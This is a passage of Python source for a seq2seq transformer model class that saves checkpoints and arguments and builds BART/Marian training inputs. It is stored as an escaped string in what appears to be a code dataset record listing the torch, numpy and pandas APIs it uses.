self.decoder_tokenizer.save_pretrained(os.path.join(output_dir, \"decoder\"))\n\n torch.save(self.args, os.path.join(output_dir, \"training_args.bin\"))\n if optimizer and scheduler and self.args[\"save_optimizer_and_scheduler\"]:\n torch.save(optimizer.state_dict(), os.path.join(output_dir, \"optimizer.pt\"))\n torch.save(scheduler.state_dict(), os.path.join(output_dir, \"scheduler.pt\"))\n\n if results:\n output_eval_file = os.path.join(output_dir, \"eval_results.txt\")\n with open(output_eval_file, \"w\") as writer:\n for key in sorted(results.keys()):\n writer.write(\"{} = {}\\n\".format(key, str(results[key])))\n\n def _move_model_to_device(self):\n self.model.to(self.device)\n\n def _get_inputs_dict(self, batch):\n device = self.device\n if self.args[\"model_type\"] in [\"bart\", \"marian\"]:\n pad_token_id = self.encoder_tokenizer.pad_token_id\n source_ids, source_mask, y = batch[\"source_ids\"], batch[\"source_mask\"], batch[\"target_ids\"]\n y_ids = y[:, :-1].contiguous()\n lm_labels = y[:, 1:].clone()\n lm_labels[y[:, 1:] == pad_token_id] = -100\n\n inputs = {\n \"input_ids\": source_ids.to(device),\n \"attention_mask\": source_mask.to(device),\n \"decoder_input_ids\": y_ids.to(device),\n \"lm_labels\": lm_labels.to(device),\n }\n else:\n lm_labels = batch[1]\n lm_labels_masked = lm_labels.clone()\n lm_labels_masked[lm_labels_masked == self.decoder_tokenizer.pad_token_id] = -100\n\n inputs = {\n \"input_ids\": batch[0].to(device),\n \"decoder_input_ids\": lm_labels.to(device),\n \"lm_labels\": lm_labels_masked.to(device),\n }\n\n return inputs\n\n def _save_model_args(self, output_dir):\n os.makedirs(output_dir, exist_ok=True)\n with open(os.path.join(output_dir, \"model_args.json\"), \"w\") as f:\n json.dump(self.args, f)\n\n def _load_model_args(self, input_dir):\n model_args_file = os.path.join(input_dir, \"model_args.json\")\n if os.path.isfile(model_args_file):\n with open(model_args_file, \"r\") as f:\n model_args = json.load(f)\n return model_args\n" ]
[ [ "torch.device", "torch.utils.data.RandomSampler", "torch.cuda.manual_seed_all", "numpy.random.seed", "pandas.DataFrame", "torch.no_grad", "torch.utils.data.SequentialSampler", "torch.manual_seed", "torch.cuda.is_available", "torch.utils.data.DataLoader", "torch.nn.DataParallel" ] ]